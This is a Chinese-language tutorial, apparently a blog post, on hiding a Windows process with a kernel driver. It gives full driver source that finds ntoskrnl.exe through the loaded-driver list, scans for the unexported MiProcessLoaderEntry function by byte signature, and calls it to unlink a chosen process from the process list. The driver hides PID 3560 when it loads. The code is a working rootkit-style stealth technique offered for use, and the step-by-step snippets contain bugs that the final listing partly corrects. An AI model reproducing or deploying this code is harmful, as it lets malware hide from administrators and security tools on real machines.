MiProcessLoaderEntry在内核文件ntoskrnl.exe中,我们可以通过这个函数API隐藏进程,有两个参数,第一个为PLIST_ENTRY类型的结点,第二个参数为TRUE/FALSE
我们可以通过遍历驱动,找到ntoskrnl.exe,然后通过特征码搜索,找到该函数地址,再通过函数指针调用该函数
操作
1.第一步——获取特征码:

我们可以在ntoskrnl.exe找到MiProcessLoaderEntry函数,随便找两段字节码作为特征码(防止一段字节码可能不准确,另外最好往中间找,函数开始和末尾大部分为初始化操作,可能查找不准确)
CHAR szCodeFlag1[] = { 0xB1 ,0x1B ,0x88 ,0x45 ,0x0B };
CHAR szCodeFlag2[] = { 0x8B,0xCE,0xF0 ,0x0F,0xBA,0x29,0x1F };
2.第二步——遍历查找内核文件:
NTSTATUS SearchNtosKenlAddr(PDRIVER_OBJECT pDriverObject,ULONG retNtosAddr){
PLIST_ENTRY HeadNode = NULL;
PLIST_ENTRY NextNode = NULL;
UNICODE_STRING usKernelFileName;
PUNICODE_STRING pusTempKernelFileName;
RtlInitUnicodeString(&usKernelFileName, L"ntoskrnl.exe");
HeadNode = (PLIST_ENTRY)(pDriverObject->DriverSection);
NextNode = HeadNode->Flink;
while (NextNode!=HeadNode)
{
pusTempKernelFileName = (PUNICODE_STRING)((ULONG)NextNode+0x2c);
if (RtlCompareUnicodeString(pusTempKernelFileName, &usKernelFileName,TRUE)==0)
{
retNtosAddr = (ULONG)NextNode;
return STATUS_SUCCESS;
}
NextNode = NextNode->Flink;
}
return -1;
}
我们通过名字查找RtlCompareUnicodeString来遍历驱动链表,如果找到,就返回驱动文件的地址
0x2c偏移处存放的是驱动文件的名字,驱动文件的结构体是未导出的,需要我们自己定义
3.第三步——获取函数地址:
获取函数地址主要就是遍历内核文件字节码,匹配的时候返回即可,注意我们返回时需要注意减去特征码到函数首地址的偏移,这样才是真正的首地址
NTSTATUS FindMiProcessLoaderEntryAddr(ULONG ulStartAddress,ULONG ulEndAddress,ULONG *retFunAddress){
for (size_t i = ulStartAddress; i < ulEndAddress; i++)
{
if (memcmp(ulStartAddress, szCodeFlag1, sizeof(szCodeFlag1)) == 0) {
if (memcmp(((char*)ulStartAddress + 0x23), szCodeFlag2, sizeof(szCodeFlag2)) == 0)
{
*retFunAddress = ulStartAddress;
return STATUS_SUCCESS;
}
}
(char*)ulStartAddress++;
}
return -1;
}
0x23是两个特征码之间的偏移,两个特征码同时成立,才能算查找成功,返回的地址其实是第一个特征码的首地址,最后还需要处理
4.第四步——进程隐藏:
对于进程隐藏,其实就是对前面功能的整合
NTSTATUS RemoveProcessListNode(PLIST_ENTRY pListNode) {
ULONG ulNtosAddr;
ULONG ulFunAddr;
ULONG ulNtosStartAddr;
ULONG ulNtosEndAddr;
FunMiProcessLoaderEntry MyMiProcessLoaderEntry;
SearchNtosKenlAddr(g_DriverObject, &ulNtosAddr);
ulNtosStartAddr =*(ULONG*)(ulNtosAddr+0x18);
ulNtosEndAddr = *(ULONG*)(ulNtosAddr + 0x20) + ulNtosStartAddr;
FindMiProcessLoaderEntryAddr(ulNtosStartAddr, ulNtosEndAddr, &ulFunAddr);
ulFunAddr = ulFunAddr - 0x1E;//获取函数头地址
MyMiProcessLoaderEntry = ulFunAddr;
MyMiProcessLoaderEntry(pListNode, FALSE);//true插入,false摘除
return STATUS_SUCCESS;
}
5.第五步——传入进程ID,遍历进程:
NTSTATUS HideProcess(ULONG ulProcessid) {//参数为进程ID
DWORD_PTR pEprocess = NULL;
ULONG ulProcessID;
pEprocess = (DWORD_PTR)PsGetCurrentProcess();//获取当前进程
PLIST_ENTRY HeadNode = NULL;
PLIST_ENTRY NextNode = NULL;
HeadNode = (PLIST_ENTRY)(pEprocess + 0xb8);//0xb8为进程链表
NextNode = HeadNode->Flink;//指向链表下一个
while (NextNode!=HeadNode)
{
pEprocess = (DWORD_PTR)NextNode - 0xb8;//指向结构头
ulProcessID = ((ULONG)(pEprocess)+0xB4);//指向进程ID的指针,进行取值
if (ulProcessID= ulProcessid)
{
RemoveProcessListNode(NextNode);//调用RemoveProcessListNode,删除进程
}
NextNode = NextNode->Flink;
}
return -1;
}
分解成多个步骤,就比较简单
效果

我们隐藏3560进程

现在已经消失了
#include<ntifs.h>
#include<intrin.h>
PDRIVER_OBJECT g_DriverObject = NULL;
CHAR szCodeFlag1[] = { 0xB1 ,0x1B ,0x88 ,0x45 ,0x0B };
CHAR szCodeFlag2[] = { 0x8B,0xCE,0xF0 ,0x0F,0xBA,0x29,0x1F };
typedef VOID(*FunMiProcessLoaderEntry)(ULONG ulEntry, LOGICAL lflag);
NTSTATUS FindMiProcessLoaderEntryAddr(ULONG ulStartAddress,ULONG ulEndAddress,ULONG *retFunAddress){
for (size_t i = ulStartAddress; i < ulEndAddress; i++)
{
if (memcmp(ulStartAddress, szCodeFlag1, sizeof(szCodeFlag1)) == 0) {
if (memcmp(((char*)ulStartAddress + 0x23), szCodeFlag2, sizeof(szCodeFlag2)) == 0)
{
*retFunAddress = ulStartAddress;
return STATUS_SUCCESS;
}
}
(char*)ulStartAddress++;
}
return -1;
}
NTSTATUS SearchNtosKenlAddr(PDRIVER_OBJECT pDriverObject,ULONG *retNtosAddr){
PLIST_ENTRY HeadNode = NULL;
PLIST_ENTRY NextNode = NULL;
UNICODE_STRING usKernelFileName;
PUNICODE_STRING pusTempKernelFileName;
RtlInitUnicodeString(&usKernelFileName, L"ntoskrnl.exe");
HeadNode = (PLIST_ENTRY)(pDriverObject->DriverSection);
NextNode = HeadNode->Flink;
while (NextNode!=HeadNode)
{
pusTempKernelFileName = (PUNICODE_STRING)((ULONG)NextNode+0x2c);
if (RtlCompareUnicodeString(pusTempKernelFileName, &usKernelFileName,TRUE)==0)
{
*retNtosAddr = (ULONG)NextNode;
return STATUS_SUCCESS;
}
NextNode = NextNode->Flink;
}
return -1;
}
NTSTATUS RemoveProcessListNode(PLIST_ENTRY pListNode) {
ULONG ulNtosAddr;
ULONG ulFunAddr;
ULONG ulNtosStartAddr;
ULONG ulNtosEndAddr;
FunMiProcessLoaderEntry MyMiProcessLoaderEntry;
SearchNtosKenlAddr(g_DriverObject, &ulNtosAddr);
ulNtosStartAddr =*(ULONG*)(ulNtosAddr+0x18);
ulNtosEndAddr = *(ULONG*)(ulNtosAddr + 0x20) + ulNtosStartAddr;
FindMiProcessLoaderEntryAddr(ulNtosStartAddr, ulNtosEndAddr, &ulFunAddr);
ulFunAddr = ulFunAddr - 0x1E;//获取函数头地址
MyMiProcessLoaderEntry = ulFunAddr;
MyMiProcessLoaderEntry(pListNode, FALSE);//true插入,false摘除
return STATUS_SUCCESS;
}
NTSTATUS HideProcess(ULONG ulProcessid) {
DWORD_PTR pEprocess = NULL;
ULONG ulProcessID;
pEprocess = (DWORD_PTR)PsGetCurrentProcess();
PLIST_ENTRY HeadNode = NULL;
PLIST_ENTRY NextNode = NULL;
HeadNode = (PLIST_ENTRY)(pEprocess + 0xb8);
NextNode = HeadNode->Flink;
while (NextNode!=HeadNode)
{
pEprocess = ((DWORD_PTR)NextNode - 0xb8);//指向结构头
ulProcessID = *(ULONG*)(pEprocess+0xB4);
if (ulProcessID== ulProcessid)
{
RemoveProcessListNode(NextNode);
return STATUS_SUCCESS;
}
NextNode = NextNode->Flink;
}
return -1;
}
VOID DriverUnload(PDRIVER_OBJECT pDriverObject) {
DbgPrint("Unload Driver Success! ");
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) {
DbgPrint("Load Driver Success!");
pDriverObject->DriverUnload = DriverUnload;
g_DriverObject = pDriverObject;
HideProcess(3560);
return STATUS_SUCCESS;
}